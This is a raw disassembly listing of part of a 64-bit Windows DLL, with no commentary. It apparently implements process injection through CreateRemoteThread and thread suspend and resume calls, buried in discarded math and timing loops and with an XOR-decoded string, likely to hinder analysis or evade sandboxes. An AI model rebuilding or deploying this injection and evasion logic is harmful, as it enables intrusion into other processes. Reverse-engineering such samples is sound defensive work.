cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm12, xmm0
mulsd xmm1, xmm9
sub rbx, 1
jne 0x180006420
movaps xmm14, xmm15
subsd xmm14, xmm11
divsd xmm12, xmm1
mulsd xmm12, xmm14
addsd xmm12, xmm11
movaps xmm13, xmm8
movaps xmm1, xmm10
mov rbx, rsi
lea rcx, [rbp + 0x1990]
call fcn.180010800
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm13, xmm0
mulsd xmm1, xmm9
sub rbx, 1
jne 0x180006472
divsd xmm13, xmm1
mulsd xmm13, xmm14
addsd xmm13, xmm11
movaps xmm6, xmm13
andps xmm6, xmmword [0x18001c1d0]
movaps xmm0, xmm12
call sub.api_ms_win_crt_math_l1_1_0.dll_cos
movaps xmm7, xmm0
movaps xmm0, xmm13
call sub.api_ms_win_crt_math_l1_1_0.dll_sin
mulsd xmm7, xmm0
addsd xmm6, xmm10
movaps xmm0, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_log
addsd xmm7, xmm0
movaps xmm0, xmm12
call sub.api_ms_win_crt_math_l1_1_0.dll_exp
subsd xmm7, xmm0
movsd xmm1, qword [rsp + 0x60]
addsd xmm7, xmm1
movsd qword [rsp + 0x60], xmm7
movaps xmm0, xmm8
movaps xmm2, xmm10
mov rbx, rsi
nop dword [rax]
lea rcx, [rbp + 0x1990]
call fcn.180010800
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rbx, 1
jne 0x180006510
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm11
movsd xmm6, qword [0x18001c118]
movaps xmm1, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x60]
subsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
movaps xmm0, xmm8
movaps xmm2, xmm10
mov rbx, rsi
nop word [rax + rax]
lea rcx, [rbp + 0x1990]
call fcn.180010800
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rbx, 1
jne 0x180006580
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm11
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
movsd xmm1, qword [rsp + 0x60]
mulsd xmm0, xmm1
movsd qword [rsp + 0x60], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x4b8], xmm0
xor r15d, r15d
mov qword [rbp + 0x4c8], r15
mov qword [rbp + 0x4d0], r15
lea r8d, [rbx + 6]
lea rdx, str.random
lea rcx, [rbp + 0x4b8]
call fcn.18000f3f0
nop
lea rbx, [rbp + 0x4b8]
cmp qword [rbp + 0x4d0], 0x10
jb 0x180006621
mov rbx, qword [rbp + 0x4b8]
mov rcx, rbx
jmp 0x180006628
lea rcx, [rbp + 0x4b8]
mov rdx, rbx
mov rsi, qword [rbp + 0x4c8]
add rsi, rcx
cmp rbx, rsi
je 0x180006687
nop word [rax + rax]
lea rcx, [rbp + 0x1990]
call fcn.180010800
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x180006677
nop word [rax + rax]
lea rcx, [rbp + 0x1990]
call fcn.180010800
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x180006660
shr rax, 0x20
add al, 0x61
mov byte [rbx], al
inc rbx
cmp rbx, rsi
jne 0x180006640
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x3c8], xmm1
mov qword [rbp + 0x3d8], r15
mov ecx, 0x190
call fcn.180018840
mov qword [rbp + 0x3c8], rax
lea r14, [rax + 0x190]
mov qword [rbp + 0x3d8], r14
xor edx, edx
mov r8d, 0x190
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
mov qword [rbp + 0x3d0], r14
mov rsi, qword [rbp + 0x3c8]
cmp rsi, r14
je 0x18000670c
nop dword [rax + rax]
lea rdx, [rbp + 0x1990]
lea rcx, [rbp + 0x370]
call fcn.18000e5d0
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x1800066e0
mov r14, qword [rbp + 0x3d0]
mov rsi, qword [rbp + 0x3c8]
mov dword [rbp + 0x488], 0xffffff9c
mov dword [rbp + 0x48c], 0x64
cmp rsi, r14
je 0x180006760
nop word [rax + rax]
mov ebx, dword [rsi]
lea rdx, [rbp + 0x1990]
lea rcx, [rbp + 0x488]
call fcn.18000e5d0
add eax, ebx
mov dword [rsi], eax
add rsi, 4
cmp rsi, r14
jne 0x180006730
mov r14, qword [rbp + 0x3d0]
mov rsi, qword [rbp + 0x3c8]
mov r8, r14
sub r8, rsi
sar r8, 2
xor r9d, r9d
mov rdx, r14
mov rcx, rsi
call fcn.180010f60
mov r8d, r15d
mov rax, qword [rbp + 0x3c8]
mov rdx, r15
mov r9, qword [rbp + 0x3d0]
mov rcx, r9
sub rcx, rax
add rcx, 3
shr rcx, 2
cmp rax, r9
cmova rcx, r15
test rcx, rcx
je 0x180006801
cmp rcx, 8
jb 0x180006801
and rcx, 0xfffffffffffffff8
xorps xmm1, xmm1
xorps xmm2, xmm2
nop word [rax + rax]
movdqu xmm0, xmmword [rax]
paddd xmm1, xmm0
movdqu xmm0, xmmword [rax + 0x10]
paddd xmm2, xmm0
add rax, 0x20
add rdx, 8
cmp rdx, rcx
jne 0x1800067c0
paddd xmm1, xmm2
movdqa xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd r8d, xmm1
cmp rax, r9
je 0x18000681c
nop word [rax + rax]
add r8d, dword [rax]
add rax, 4
cmp rax, r9
jne 0x180006810
mov eax, dword [rsp + 0x50]
add eax, r8d
mov dword [rsp + 0x50], eax
mov eax, dword [rbp + 0x370]
mov esi, 0x80000000
cmp eax, esi
lea r14d, [rax + rsi]
jb 0x180006841
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0x374]
add eax, esi
sub eax, r14d
lea rcx, [rbp + 0x1990]
cmp eax, 0xffffffff
jne 0x180006861
call fcn.180010800
mov ecx, eax
jmp 0x1800068a2
lea ebx, [rax + 1]
call fcn.180010800
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x180006899
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x180006899
lea rcx, [rbp + 0x1990]
call fcn.180010800
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x180006883
shr rcx, 0x20
mov esi, 0x80000000
add ecx, r14d
lea eax, [rcx - 0x80000000]
lea ebx, [rcx + rsi]
cmp ecx, esi
cmovae ebx, eax
mov eax, dword [rbp + 0x370]
cmp eax, esi
lea r15d, [rax + rsi]
jb 0x1800068c8
lea r15d, [rax - 0x80000000]
mov eax, dword [rbp + 0x374]
cmp eax, esi
jae 0x1800068d6
add eax, esi
jmp 0x1800068db
add eax, 0x80000000
sub eax, r15d
lea rcx, [rbp + 0x1990]
cmp eax, 0xffffffff
jne 0x1800068f3
call fcn.180010800
mov ecx, eax
jmp 0x18000693f
lea esi, [rax + 1]
call fcn.180010800
mov r14d, esi
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jae 0x180006936
mov eax, esi
neg eax
xor edx, edx
div esi
mov esi, edx
cmp ecx, edx
jae 0x180006936
nop word [rax + rax]
lea rcx, [rbp + 0x1990]
call fcn.180010800
mov ecx, eax
imul rcx, r14
cmp ecx, esi
jb 0x180006920
shr rcx, 0x20
mov esi, 0x80000000
add ecx, r15d
lea eax, [rcx - 0x80000000]
lea r8d, [rcx + rsi]
cmp ecx, esi
cmovae r8d, eax
mov ecx, ebx
test ebx, ebx
mov eax, 1
cmove ecx, eax
mov eax, r8d
sub eax, ebx
cdq
idiv ecx
imul ebx, r8d
add eax, ebx
mov ecx, dword [rsp + 0x50]
add eax, ecx
mov dword [rsp + 0x50], eax
mov eax, dword [rsp + 0x50]
and eax, 0x80000001
jge 0x180006988
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
mov eax, dword [rbp + 0x370]
lea r14d, [rax + rsi]
jne 0x180006a31
cmp eax, esi
jb 0x1800069a5
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0x374]
cmp eax, esi
jae 0x1800069b3
add eax, esi
jmp 0x1800069b8
add eax, 0x80000000
sub eax, r14d
lea rcx, [rbp + 0x1990]
cmp eax, 0xffffffff
jne 0x1800069d0
call fcn.180010800
mov ecx, eax
jmp 0x180006a11
lea ebx, [rax + 1]
call fcn.180010800
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x180006a08
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x180006a08
lea rcx, [rbp + 0x1990]
call fcn.180010800
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x1800069f2
shr rcx, 0x20
mov esi, 0x80000000
add ecx, r14d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x50]
add edx, eax
mov dword [rsp + 0x50], edx
jmp 0x180006acb
cmp eax, esi
jb 0x180006a3c
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0x374]
cmp eax, esi
jae 0x180006a4a
add eax, esi
jmp 0x180006a4f
add eax, 0x80000000
sub eax, r14d
lea rcx, [rbp + 0x1990]
cmp eax, 0xffffffff
jne 0x180006a67
call fcn.180010800
mov ecx, eax
jmp 0x180006aaf
lea ebx, [rax + 1]
call fcn.180010800
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x180006aa6
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x180006aa6
nop dword [rax]
lea rcx, [rbp + 0x1990]
call fcn.180010800
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x180006a90
shr rcx, 0x20
mov esi, 0x80000000
lea edx, [rcx + r14]
lea eax, [rdx + rsi]
lea ecx, [rdx - 0x80000000]
cmp edx, esi
cmovae ecx, eax
mov eax, dword [rsp + 0x50]
sub eax, ecx
mov dword [rsp + 0x50], eax
xor edi, edi
lea r12d, [rdi + 5]
nop dword [rax]
nop word [rax + rax]
mov r15d, edi
mov edi, 2
nop dword [rax + rax]
mov eax, dword [rbp + 0x370]
cmp eax, esi
lea r14d, [rax + rsi]
jb 0x180006b05
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0x374]
cmp eax, esi
jae 0x180006b13
add eax, esi
jmp 0x180006b18
add eax, 0x80000000
sub eax, r14d
lea rcx, [rbp + 0x1990]
cmp eax, 0xffffffff
jne 0x180006b30
call fcn.180010800
mov ecx, eax
jmp 0x180006b71
lea ebx, [rax + 1]
call fcn.180010800
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x180006b68
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x180006b68
lea rcx, [rbp + 0x1990]
call fcn.180010800
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x180006b52
shr rcx, 0x20
mov esi, 0x80000000
add ecx, r14d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x50]
add edx, eax
mov dword [rsp + 0x50], edx
movaps xmm1, xmm8
movaps xmm2, xmm10
mov rbx, rdi
nop word [rax + rax]
lea rcx, [rbp + 0x1990]
call fcn.180010800
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rbx, 1
jne 0x180006ba0
movaps xmm3, xmm15
subsd xmm3, xmm11
divsd xmm1, xmm2
mulsd xmm1, xmm3
addsd xmm1, xmm11
movsd xmm0, qword [rsp + 0x60]
addsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
test r15b, 1
jne 0x180006c9d
mov eax, dword [rbp + 0x370]
cmp eax, esi
lea r14d, [rax + rsi]
jb 0x180006c13
lea r14d, [rax - 0x80000000]
mov eax, dword [rbp + 0x374]
cmp eax, esi
jae 0x180006c21
add eax, esi
jmp 0x180006c26
add eax, 0x80000000
sub eax, r14d
lea rcx, [rbp + 0x1990]
cmp eax, 0xffffffff
jne 0x180006c3e
call fcn.180010800
mov ecx, eax
jmp 0x180006c7f
lea ebx, [rax + 1]
call fcn.180010800
mov esi, ebx
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jae 0x180006c76
mov eax, ebx
neg eax
xor edx, edx
div ebx
mov ebx, edx
cmp ecx, edx
jae 0x180006c76
lea rcx, [rbp + 0x1990]
call fcn.180010800
mov ecx, eax
imul rcx, rsi
cmp ecx, ebx
jb 0x180006c60
shr rcx, 0x20
mov esi, 0x80000000
add ecx, r14d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x50]
imul edx, eax
mov dword [rsp + 0x50], edx
jmp 0x180006d00
movaps xmm1, xmm8
movaps xmm2, xmm10
mov rbx, rdi
nop dword [rax + rax]
lea rcx, [rbp + 0x1990]
call fcn.180010800
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm2
addsd xmm1, xmm0
mulsd xmm2, xmm9
sub rbx, 1
jne 0x180006cb0
movsd xmm0, qword [rsp + 0x60]
divsd xmm1, xmm2
mulsd xmm1, xmm3
addsd xmm1, xmm11
addsd xmm1, xmm10
divsd xmm0, xmm1
movsd qword [rsp + 0x60], xmm0
inc r15d
cmp r15d, 5
jl 0x180006af0
sub r12, 1
mov edi, 0
jne 0x180006ae0
mov rdi, qword [rbp - 0x60]
mov rcx, qword [rbp + 0x3c8]
test rcx, rcx
je 0x180006d7f
mov rax, qword [rbp + 0x3d8]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006d63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006dd4
call fcn.180018c04
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3c8], xmm0
xor r14d, r14d
mov qword [rbp + 0x3d8], r14
jmp 0x180006d82
xor r14d, r14d
mov rdx, qword [rbp + 0x4d0]
cmp rdx, 0x10
jb 0x180006dbf
inc rdx
mov rcx, qword [rbp + 0x4b8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180006dba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180006ddb
call fcn.180018c04
inc r13d
cmp r13d, 0x186a0
jl 0x180006230
jmp 0x1800061e6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov eax, dword [rsp + 0x50]
mov rbx, qword [rbp + 0x3a0]
mov r12d, 1
test rbx, rbx
je 0x180006e80
mov rdi, qword [rbp + 0x3a8]
cmp rbx, rdi
je 0x180006e28
mov rcx, qword [rbx]
test rcx, rcx
je 0x180006e18
mov rax, qword [rcx]
mov edx, r12d
call qword [rax]
add rbx, 8
cmp rbx, rdi
jne 0x180006e08
mov rbx, qword [rbp + 0x3a0]
mov rax, qword [rbp + 0x3b0]
sub rax, rbx
sar rax, 3
lea rdx, [rax*8]
mov rax, rbx
cmp rdx, 0x1000
jb 0x180006e66
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x180006e66
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.180018c04
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3a0], xmm0
mov qword [rbp + 0x3b0], r14
mov rax, qword [rbp - 0x68]
mov r9d, dword [rax + 0x28]
add r9, qword [rbp + 0x320]
mov qword [rsp + 0x30], r14
mov r15d, 4
mov dword [rsp + 0x28], r15d
mov qword [rsp + 0x20], r14
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp + 0x328]
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov rbx, rax
test rax, rax
jne 0x18000719c
movups xmm0, xmmword [str.x___j8_p139.9]
movups xmmword [rbp + 0x218], xmm0
movsd xmm0, qword [0x18001ba40]
movsd qword [rbp + 0x228], xmm0
movzx eax, byte [0x18001ba48]
mov byte [rbp + 0x230], al
cmp dword [0x180022018], 2
jl 0x180007119
movdqa xmm9, xmmword [0x18001c160]
movdqa xmm6, xmmword [0x18001c1a0]
mov eax, 2
movd xmm10, eax
movdqa xmm7, xmmword [0x18001c1e0]
movd xmm11, r15d
movdqa xmm12, xmmword [0x18001c180]
movdqa xmm13, xmmword [0x18001c1f0]
mov eax, 0x1f
movd xmm8, eax
movdqa xmm0, xmmword [0x18001c1b0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x218]
mov edx, dword [rsp + 0x60]
nop word [rax + rax]
movd xmm5, r14d
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
punpckldq xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm4, xmm2
pmuldq xmm4, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm4, xmm0, 0xdd
psrad xmm4, xmm10
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x18001c190]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x18001c190]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx]
pxor xmm3, xmm0
movd dword [rcx], xmm3
lea eax, [r14 + 4]
movd xmm5, eax
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm4, xmm5
punpckldq xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm2, xmm4
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, xmm10
pmuldq xmm4, xmm7
pmuldq xmm1, xmm7
shufps xmm4, xmm1, 0xdd
psrad xmm4, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
movdqa xmm0, xmm5
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x18001c190]
packuswb xmm3, xmm3
movdqa xmm0, xmm4
psrld xmm0, xmm8
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x18001c190]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm0, dword [rcx + 4]
pxor xmm3, xmm0
movd dword [rcx + 4], xmm3
add r14d, 8
mov eax, r14d
lea rcx, [rcx + 8]
cmp r14d, 0x18
jl 0x180006f60
cmp eax, 0x19
jge 0x180007181
movsxd rax, r14d
lea r9, [rbp + 0x218]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r14d
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx r8d, r14b
sub r8b, cl
add r8b, 0x1f
add r8b, r8b
mov eax, 0x214d0215
imul r14d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x7b
sub r8b, dl
xor byte [r9], r8b
inc r14d
lea r9, [r9 + 1]
cmp r14d, 0x19
jl 0x180007130
lea rdx, [rbp + 0x218]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.18000eb20
mov eax, r12d
jmp 0x180007c04
mov rcx, qword [rbp + 0x330]
call qword [sym.imp.KERNEL32.dll_SuspendThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov edx, eax
lea rcx, [rbp + 0x2d20]
call fcn.18000d950
mov dword [rbp + 0x380], 0xffffff9c
mov dword [rbp + 0x384], 0x64
movaps xmm0, xmmword [0x18001c1c0]
movups xmmword [rbp + 0x3f8], xmm0
mov dword [rsp + 0x50], r14d
movsd qword [rsp + 0x60], xmm8
lea rcx, [rbp + 0x1f0]
call fcn.180001a60
mov rbx, qword [rbp + 0x1f0]
add rbx, 0x5f5e100
mov qword [rbp - 0x60], rbx
lea rcx, [rbp + 0x438]
call fcn.180001df0
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x438], xmm0
mov qword [rbp + 0x448], r14
lea rcx, [rbp + 0x1f8]
call fcn.18000e6a0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0xa0], rcx
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0x438]
call fcn.18000d880
nop
lea rcx, [rbp + 0xa0]
call fcn.18000d860
nop
lea rcx, [rbp + 0x1f8]
call fcn.18000d860
lea rcx, [rbp + 0x200]
call fcn.18000e6d0
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0xa8], rcx
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x438]
call fcn.18000d880
nop
lea rcx, [rbp + 0xa8]
call fcn.18000d860
nop
lea rcx, [rbp + 0x200]
call fcn.18000d860
lea rcx, [rbp + 0x208]
call fcn.18000e700
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0xb0], rcx
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x438]
call fcn.18000d880
nop
lea rcx, [rbp + 0xb0]
call fcn.18000d860
nop
lea rcx, [rbp + 0x208]
call fcn.18000d860
lea rcx, [rbp + 0x210]
call fcn.18000e730
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0xb8], rcx
lea rdx, [rbp + 0xb8]
lea rcx, [rbp + 0x438]
call fcn.18000d880
nop
lea rcx, [rbp + 0xb8]
call fcn.18000d860
nop
lea rcx, [rbp + 0x210]
call fcn.18000d860
lea rcx, [rbp + 0x100]
call fcn.18000e760
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0xc0], rcx
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x438]
call fcn.18000d880
nop
lea rcx, [rbp + 0xc0]
call fcn.18000d860
nop
lea rcx, [rbp + 0x100]
call fcn.18000d860
lea rcx, [rbp + 0x108]
call fcn.18000e790
nop
mov rcx, qword [rax]
mov qword [rax], r14
mov qword [rbp + 0xc8], rcx
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x438]
call fcn.18000d880
nop
lea rcx, [rbp + 0xc8]
call fcn.18000d860
nop
lea rcx, [rbp + 0x108]
call fcn.18000d860
nop word [rax + rax]
call qword [sym.imp.MSVCP140.dll__Query_perf_frequency]
mov rdi, rax
call qword [sym.imp.MSVCP140.dll__Query_perf_counter]
cmp rdi, 0x989680
jne 0x1800073fe
imul rax, rax, 0x64
jmp 0x180007419
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
cmp rax, rbx
jge 0x180007b8a
mov r13d, r14d
nop word [rax + rax]
mov eax, dword [rbp + 0x380]
cmp eax, esi
lea ecx, [rax + rsi]
jb 0x180007443
lea ecx, [rax - 0x80000000]
mov eax, dword [rbp + 0x384]
cmp eax, esi
jae 0x180007451
add eax, esi
jmp 0x180007456
add eax, 0x80000000
sub eax, ecx
lea rcx, [rbp + 0x2d20]
cmp eax, 0xffffffff
jne 0x18000746b
call fcn.180010800
jmp 0x1800074ab
lea edi, [rax + 1]
call fcn.180010800
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x1800074a6
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x1800074a6
nop dword [rax]
lea rcx, [rbp + 0x2d20]
call fcn.180010800
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x180007490
mov esi, 0x80000000
lea rax, [rbp + 0x2d20]
mov qword [rbp + 0x28], rax
mov eax, dword [rbp + 0x380]
cmp eax, esi
lea r14d, [rax + rsi]
jb 0x1800074cb
lea r14d, [rax - 0x80000000]
mov edi, dword [rbp + 0x384]
cmp edi, esi
jae 0x1800074d9
add edi, esi
jmp 0x1800074df
add edi, 0x80000000
sub edi, r14d
cmp edi, 0xffffffff
jne 0x1800074f7
lea rcx, [rbp + 0x2d20]
call fcn.180010800
mov ecx, eax
jmp 0x180007536
inc edi
mov edx, edi
lea rcx, [rbp + 0x28]
call fcn.1800107c0
mov rcx, rax
cmp eax, edi
jae 0x180007532
mov eax, edi
neg eax
xor edx, edx
div edi
mov esi, edx
cmp ecx, edx
jae 0x180007532
nop dword [rax]
mov edx, edi
lea rcx, [rbp + 0x28]
call fcn.1800107c0
mov rcx, rax
cmp eax, esi
jb 0x180007520
shr rcx, 0x20
lea edx, [rcx + r14]
mov r8, qword [rbp + 0x440]
mov rsi, qword [rbp + 0x438]
sub r8, rsi
sar r8, 3
mov r9d, 0x80000000
lea eax, [rdx + r9]
lea ecx, [rdx - 0x80000000]
cmp edx, r9d
cmovae ecx, eax
movsxd rax, ecx
xor edx, edx
div r8
movsxd rax, edx
mov rsi, qword [rsi + rax*8]
mov rax, qword [rsi]
mov rdi, qword [rax + 8]
lea rdx, [rbp + 0x2d20]
lea rcx, [rbp + 0x380]
call fcn.18000e5d0
mov r8d, eax
mov edx, dword [rsp + 0x50]
mov rcx, rsi
call rdi
mov dword [rsp + 0x50], eax
lea rdx, [rbp + 0x2d20]
lea rcx, [rbp + 0x3f8]
call fcn.18000e7c0
movaps xmm5, xmm0
lea rdx, [rbp + 0x2d20]
lea rcx, [rbp + 0x3f8]
call fcn.18000e7c0
movaps xmm1, xmm5
call fcn.180001c70
movsd xmm1, qword [rsp + 0x60]
addsd xmm0, xmm1
movsd qword [rsp + 0x60], xmm0
lea rdx, [rbp + 0x2d20]
lea rcx, [rbp + 0x3f8]
call fcn.18000e7c0
movaps xmm1, xmm6
call sub.api_ms_win_crt_math_l1_1_0.dll_pow
movsd xmm1, qword [rsp + 0x60]
subsd xmm1, xmm0
movsd qword [rsp + 0x60], xmm1
lea rdx, [rbp + 0x2d20]
lea rcx, [rbp + 0x3f8]
call fcn.18000e7c0
call sub.api_ms_win_crt_math_l1_1_0.dll_tan
mulsd xmm0, qword [rsp + 0x60]
movsd qword [rsp + 0x60], xmm0
lea rdx, str.random
lea rcx, [rbp + 0x510]
call fcn.18000dea0
nop
lea rdx, [rbp + 0x2d20]
lea rcx, [rbp + 0x510]
call fcn.180001be0
lea rcx, [rbp + 0x450]
call fcn.180001df0
lea rcx, [rbp + 0x450]
call fcn.18000da00
nop
lea rax, [rbp + 0x380]
mov qword [rbp - 0x50], rax
lea rax, [rbp + 0x2d20]
mov qword [rbp - 0x48], rax
movaps xmm0, xmmword [rbp - 0x50]
movdqa xmmword [rbp + 0x310], xmm0
lea r8, [rbp + 0x310]
mov rdx, qword [rbp + 0x458]
mov rcx, qword [rbp + 0x450]
call fcn.18000e840
lea rdx, [rbp + 0x2d20]
lea rcx, [rbp + 0x450]
call fcn.180001cf0
mov rdx, qword [rbp + 0x458]
mov rcx, qword [rbp + 0x450]
call fcn.18000e8a0
mov ecx, dword [rsp + 0x50]
add ecx, eax
mov dword [rsp + 0x50], ecx
mov r14d, dword [rbp + 0x380]
mov esi, 0x80000000
add r14d, esi
mov eax, dword [rbp + 0x384]
add eax, esi
sub eax, r14d
lea rcx, [rbp + 0x2d20]
cmp eax, 0xffffffff
jne 0x180007709
call fcn.180010800
mov ecx, eax
jmp 0x18000774f
lea edi, [rax + 1]
call fcn.180010800
mov esi, edi
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jae 0x180007746
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x180007746
nop dword [rax + rax]
lea rcx, [rbp + 0x2d20]
call fcn.180010800
mov ecx, eax
imul rcx, rsi
cmp ecx, edi
jb 0x180007730
shr rcx, 0x20
